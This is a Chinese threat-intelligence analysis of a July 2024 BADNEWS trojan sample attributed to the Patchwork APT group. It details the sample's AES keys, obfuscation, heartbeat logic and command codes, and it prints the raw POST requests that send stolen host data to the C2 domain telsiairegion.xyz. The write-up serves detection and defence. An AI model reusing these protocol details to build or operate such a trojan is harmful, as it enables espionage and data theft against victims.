首发地址:先知社区,https://xz.aliyun.com/t/
首发作者:qianlan
一、 前言
上接前文《APT组织Patchwork利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击,多链路样本逆向分析》,此次样本发现于2024年7月针对国内实体的攻击活动,初始载荷经过链路执行最终释放Patchwork组织Windwos主战远控武器BADNEWS。
Patchwork组织长期维护BADNEWS木马,近三年经历了多次迭代,历史曝光样本在通信协议、加解密算法、指令和功能、免杀混淆等模块不时会都有升级。
下图是曝光的11个BADNEWS历史样本加密协议、算法和密钥的迭代,不难看出开发者对于样本的维护还是很上心的。
此次24年7月BADNEWS样本开发者在主机和通信特征隐藏、符号去除等免杀及反调试环节做了诸多努力,同时在心跳包的睡眠周期上做了更复杂的变化,增大通讯流量层面的检测难度,相较于2023年5月曝光版本有不小的修改。
二、样本概述
概述与2023年5月曝光样本对比说明。
为了方便读者阅读,放一个目录。
2.1 基本信息
24年7月样本包含2次释放shellcode过程,初始载荷体积692KB,BADNEWSB本体载荷280kb,相较于历史版本有精简。
2.2 功能模块
24年7月样本较以往版本,功能模块有3处小的修改,总体变化不大,删减了键盘记录(指令码3fgbfnjb3),新增了心跳单包立即发送(指令码3gnfm9),cmd命令执行回传结果(指令码frgt45f)。
样本cmd执行功能模块就有了两种形式,直接回传执行结果,将执行结果存储成文本文件回传文件。
2.3 加解密、混淆模块
样本沿用了历史版本的加密、编码模式,主要是AES-CBC-128、XOR、BASE64三种,以及利用异或、循环右移等方式计算hash做shellcode、字符校验。
以上线数据包UUID为例其加加密过程如下,base64->AES Encrypt->base64,格式化处理后再经过TLS加密传输。
AES_KEY:3732386B7042764C74396E636A70356C
AES_IV:394C3878643347356F624C527558666B
关于密钥,相较于以往直接硬编码字符数组的形式,此次样本使用shellcode段中定位的方式获取AES_KEY、AES_IV。
沿用了以往对WIN API、http协议字段等字符混淆的方式,增强一些静态免杀能力。
windows API均以函数指针形式调用,降低了反汇编静态代码的可读性。
以cmd命令执行功能为例,对比新老样本在字符、API函数混淆能力提升。
cmd.exe调用过程中字符和api特征隐藏比对。
2.4 通讯模块
此次样本修改历史样本中使用三个线程创建同C2服务器通信逻辑,历史版本执行逻辑如图。
此次样本仅保留了心跳线程,主要功能模块放置于主函数中运行。
值得注意的是,此次样本在心跳周期做的更丰富,根据服务端状态,产生不同的心跳间隔,这对恶意流量在心跳维度的检测带来一些挑战。
历史版本心跳根据TLS(线程本地存储)的种子生成一个伪随机数,对随机数取模,决定心跳的睡眠时间,时间的范围在1秒到33.767秒之间。
而此次样本对心跳睡眠周期做了更复杂的逻辑,除了随机数外还会根据服务端不同状态做逻辑判断,产生更多的心跳睡眠周期类型,随机性使得木马的通讯心跳不易被检测到。
2.5 痕迹清理模块
样本保留了历史版本中痕迹清理的“好习惯”,敏感字符、内存块使用完后都立即释放,这样可能有助于静态、动态的一些免杀,但对于调试者来说算是一件好事,每一次主动内存释放都可能包含关键信息,作者定位AES加密参数就是这么快速定位到的。
三、样本分析
3.1 初始化
3.1.1 互斥锁和窗口隐藏
载荷投递阶段做持久化创建计划任务周期性执行,在此创建互斥对象,保持程序不重复执行,互斥对象名称“RfmbFv8D”,并对当前控制台程序做做窗口隐藏。
3.1.2 字符初始化
初始化解密了部分,外链域名、useragent,以及网络通讯等WIN api字符。
telsiairegion.xyz//1WrCVzW4kSDNbNTt//cqWf4vQlofzqFkc7.php
3.2 搜集系统基本信息
样本对受害目标做信息搜集,供后续回传包括uuid、用户名、操作系统版本、本地IP地址、出口IP地址,将信息经过AES-CBC-128加密并格式化,若未搜集到对应目标信息填充NA。
以uedf为键,#**# 间隔值,格式化如下。
%s=%s#**#%s#**#%s#**#%s#**#%s#**#%s
uedf={UUID}#**#{出口IP}#**#{本地IP}#**#{用户名}#**#{操作系统版本}#**#{所属国家名称}
AES-CBC-128算法的key和iv位于shellcode段中明文存储。
UUID解密示例如图。
AES key:3732386B7042764C74396E636A70356C
aes iv:394C3878643347356F624C527558666B
-
出口IP地址、所属国家名称
通过尝试访问“https://myexternalip.com/raw”、“https://api.ipify.org?format=csv”、“https://ifconfig.me/ip”获取接入互联网IP出口地址。
继续尝试访问“https://api.iplocation.net/?cmd=ip-country&ip=",获取所属国家名称
-
操作系统版本
这里他的判断有些问题,我用win10的机器调试,信息搜集判断的win8。
-
UUID
调用api GetSystemFirmwareTable,请求SMBIOS表
获取系统SMBIOS UUID
调用api GetAdaptersInfo,查看本地计算机的网络适配器详细信息,获取IP地址。
-
本地IP地址
-
计算机当前用户名。
样本在完成信息搜集后,会对此前流下的内存痕迹做清理。
3.3 创建线程函数循环发送心跳包
在完成格式化信息后,样本创建线程循环发送心跳包,并将这些信息作为上线数据包发送。心跳包没有数据接收逻辑,仅用于验证C2是否存活。
创建线程函数,循环发送心跳包。
发包函数如下,其中HttpOpenRequestA参数设置了使用tls加密通讯。构造上线通讯数据包tls加密前如下
POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent:Mozilla/5.0
host:telsiairegion.xyz
uedf=Nudc74ukcfLaqw96hZcM05AFx4faIX8GFHLa9FZ9SBldmtuciInnwX0P1mKRIwcwZnCo5k449uWfVMry6m6Ttg==#**#dSHXPP0JYsd3jE+uURPmWw==#**#mAfqN+zWHKNNdklI7Z64ykuRlRGg1S2uurrJ1zjcAZw=#**#y/gR47XQJCL4lD+PCUJKGQ==#**#e4e9oaydCVdHL96FqHLphQ==#**#dSHXPP0JYsd3jE+uURPmWw==
3.4 功能函数
功能函数首先构造数据向C2发送请求包,POST主体格式相较于心跳包上线数据,只有一个键值对, fufokin=UUID(密文),使用UUID标识唯一客户端,加密逻辑一致。
构造数据包如图。
POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
host:telsiairegion.xyz
fufokin=Nudc74ukcfLaqw96hZcM05AFx4faIX8GFHLa9FZ9SBldmtuciInnwX0P1mKRIwcwZnCo5k449uWfVMry6m6Ttg==
若发送成功,相应包中将包含指令,样本调用API InternetReadFile读取来自C2的指令。
对指令处理后,获取指令及参数信息,格式为指令 参数2,分解过程如下。
以if..else做逻辑判断执行对应指令,指令功能如下。
指令码 | 功能概述 |
---|---|
3hdfghd1 | 指定文件读取,回传文件 |
3gjdfghj6 | cmd命令执行,写入文件回传 |
3gnfm9 | 心跳包单包发送 |
3fgjfhg4 | 指定路径文件信息遍历读取,回传信息 |
3gnfjhk7 | 指定远程文件下载、执行,回传状态 |
3ngjfng5 | 指定远程文件下载,回传状态 |
3fghnbj2 | 屏幕截图,回传图像 |
frgt45f | cmd命令执行,直接回传结果 |
IOC
C58A7C4BAFFA401C71A1A333ECD0F956
telsiairegion.xyz
/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php
文章内容结束了,此前搞的比较草率,溯源有问题,感谢上次两位师傅的留言。
感谢读者阅读~
原文始发于微信公众号(帅仔回忆录):APT组织Patchwork七月活动,Widnows主战远控武器BADNEWS再升级。